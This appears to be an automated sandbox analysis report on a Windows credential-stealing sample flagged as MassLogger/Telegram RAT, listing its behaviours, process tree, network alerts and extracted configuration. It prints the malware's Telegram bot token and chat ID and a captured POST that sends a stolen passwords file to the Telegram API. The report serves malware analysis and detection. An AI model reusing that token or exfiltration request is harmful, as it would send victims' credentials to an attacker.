Edit tour

Windows Analysis Report
Y2EM7suNV5.exe

Overview

General Information

Sample name:	Y2EM7suNV5.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	178612bc81b4b9f01025463820ab22f48d22d168d5599a7e0a2768e4c9b51b8d
Analysis ID:	1546195
MD5:	0f2ac23e89c953b8c3d95bc75d76b9e1
SHA1:	ba4674b7e301e920293fabc40262ed59a14e6e93
SHA256:	178612bc81b4b9f01025463820ab22f48d22d168d5599a7e0a2768e4c9b51b8d
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Creates files inside the volume driver (system volume information)

Drops executable to a common third party application directory

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Opens network shares

Queries random domain names (often used to prevent blacklisting and sinkholes)

Searches for Windows Mail specific files

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

Y2EM7suNV5.exe (PID: 3232 cmdline: "C:\Users\user\Desktop\Y2EM7suNV5.exe" MD5: 0F2AC23E89C953B8C3D95BC75D76B9E1)

RegSvcs.exe (PID: 3736 cmdline: "C:\Users\user\Desktop\Y2EM7suNV5.exe" MD5: 19855C0DC5BEC9FDF925307C57F9F5FC)

armsvc.exe (PID: 3284 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: 15B606B644D221A802F3BA61E94117C5)

alg.exe (PID: 3412 cmdline: C:\Windows\System32\alg.exe MD5: 78357F4A2EE56E2115B70E83FD318F32)

aspnet_state.exe (PID: 3464 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe MD5: E56ED62B84AF74C3CC2BFBBFF2DECA1B)

ehrecvr.exe (PID: 3724 cmdline: C:\Windows\ehome\ehRecvr.exe MD5: C6F20688FDD72D81EF9949078A447956)

ehsched.exe (PID: 3776 cmdline: C:\Windows\ehome\ehsched.exe MD5: D368E1F7850AA6D566AF182533561B7B)

ieetwcollector.exe (PID: 3944 cmdline: C:\Windows\system32\IEEtwCollector.exe /V MD5: 476DF395BDFA6AD8B4669F4FB9DAEAF2)

maintenanceservice.exe (PID: 3972 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: 9779F284BC74A9DC36AEA1BB73E099DA)

msdtc.exe (PID: 4024 cmdline: C:\Windows\System32\msdtc.exe MD5: B53F558EDC6CA13C93B7AC3C93422AB9)

msiexec.exe (PID: 4088 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 7C89926A5DB6DE37F65340F4BF155552)

perfhost.exe (PID: 1216 cmdline: C:\Windows\SysWow64\perfhost.exe MD5: A5C90106638927AA9010BB80237CFA6E)

Locator.exe (PID: 2052 cmdline: C:\Windows\system32\locator.exe MD5: 52E7BE841BAE6B7BD0895DD6C74DF1A6)

snmptrap.exe (PID: 2588 cmdline: C:\Windows\System32\snmptrap.exe MD5: A49EA66E364E0A22B0B157F826B918B2)

vds.exe (PID: 2996 cmdline: C:\Windows\System32\vds.exe MD5: C0EFE00354E214CCBBB2E4BB24457C5E)

wbengine.exe (PID: 3148 cmdline: "C:\Windows\system32\wbengine.exe" MD5: 5C8D02D23D962F821A26E884633C519A)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.624330233.0000000000092000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.626414003.00000000023A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 3736	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 3736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3736	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 3736	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x305ff:$a1: get_encryptedPassword 0x30918:$a2: get_encryptedUsername 0x303ae:$a3: get_timePasswordChanged 0x304cf:$a4: get_passwordField 0x30615:$a5: set_encryptedPassword 0x31f18:$a7: get_logins 0x31bc9:$a8: GetOutlookPasswords 0x319bb:$a9: StartKeylogger 0x31e68:$a10: KeyLoggerEventArgs 0x31a18:$a11: KeyLoggerEventArgsEventHandler
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.RegSvcs.exe.90000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
12.2.RegSvcs.exe.90000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.RegSvcs.exe.90000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.RegSvcs.exe.90000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
12.2.RegSvcs.exe.90000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data

Sigma Signatures

System Summary

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, QueryName: checkip.dyndns.org

Suricata Signatures

ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:05:12.604648+0100	2051651	1	A Network Trojan was detected	192.168.2.22	57113	8.8.8.8	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:31.750078+0100	2051649	1	A Network Trojan was detected	192.168.2.22	65510	8.8.8.8	53	UDP
2024-10-31T16:03:33.569218+0100	2051649	1	A Network Trojan was detected	192.168.2.22	54842	8.8.8.8	53	UDP
2024-10-31T16:04:05.483288+0100	2051649	1	A Network Trojan was detected	192.168.2.22	50337	8.8.8.8	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:28.542793+0100	2051648	1	A Network Trojan was detected	192.168.2.22	49881	8.8.8.8	53	UDP
2024-10-31T16:03:31.751762+0100	2051648	1	A Network Trojan was detected	192.168.2.22	62672	8.8.8.8	53	UDP
2024-10-31T16:04:02.680121+0100	2051648	1	A Network Trojan was detected	192.168.2.22	54422	8.8.8.8	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:24.528093+0100	2018141	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.22	49161	TCP
2024-10-31T16:03:33.193791+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.22	49171	TCP
2024-10-31T16:04:14.155246+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.22	49194	TCP
2024-10-31T16:04:22.526209+0100	2018141	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.22	49199	TCP
2024-10-31T16:04:23.669101+0100	2018141	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.22	49200	TCP
2024-10-31T16:04:29.482696+0100	2018141	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.22	49203	TCP
2024-10-31T16:04:33.248356+0100	2018141	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.22	49206	TCP
2024-10-31T16:04:33.979166+0100	2018141	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.22	49207	TCP
2024-10-31T16:04:44.359057+0100	2018141	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.22	49220	TCP
2024-10-31T16:04:52.934851+0100	2018141	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.22	49235	TCP
2024-10-31T16:05:26.223073+0100	2018141	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.22	49298	TCP
2024-10-31T16:05:27.318476+0100	2018141	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.22	49299	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:24.528093+0100	2037771	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.22	49161	TCP
2024-10-31T16:03:33.193791+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.22	49171	TCP
2024-10-31T16:04:14.155246+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.22	49194	TCP
2024-10-31T16:04:22.526209+0100	2037771	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.22	49199	TCP
2024-10-31T16:04:23.669101+0100	2037771	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.22	49200	TCP
2024-10-31T16:04:29.482696+0100	2037771	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.22	49203	TCP
2024-10-31T16:04:33.248356+0100	2037771	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.22	49206	TCP
2024-10-31T16:04:33.979166+0100	2037771	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.22	49207	TCP
2024-10-31T16:04:44.359057+0100	2037771	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.22	49220	TCP
2024-10-31T16:04:52.934851+0100	2037771	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.22	49235	TCP
2024-10-31T16:05:26.223073+0100	2037771	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.22	49298	TCP
2024-10-31T16:05:27.318476+0100	2037771	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.22	49299	TCP

ET MALWARE Win32/ClipBanker.OC CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:04:44.717918+0100	2034983	1	A Network Trojan was detected	192.168.2.22	49213	82.112.184.197	80	TCP
2024-10-31T16:04:47.675290+0100	2034983	1	A Network Trojan was detected	192.168.2.22	49224	13.251.16.150	80	TCP
2024-10-31T16:05:05.372458+0100	2034983	1	A Network Trojan was detected	192.168.2.22	49259	54.244.188.177	80	TCP
2024-10-31T16:05:10.018257+0100	2034983	1	A Network Trojan was detected	192.168.2.22	49270	18.141.10.107	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:47.636540+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49179	193.122.130.0	80	TCP
2024-10-31T16:03:56.918566+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49179	193.122.130.0	80	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T16:03:33.187843+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.22	49171	18.141.10.107	80	TCP
2024-10-31T16:04:36.242741+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.22	49212	54.244.188.177	80	TCP

HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%20173.254.250.77 HTTP/1.1Content-Type: multipart/form-data; boundary================8dcf99bda54029cHost: api.telegram.orgContent-Length: 1095Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:24 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:24 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:24 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:04:25 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
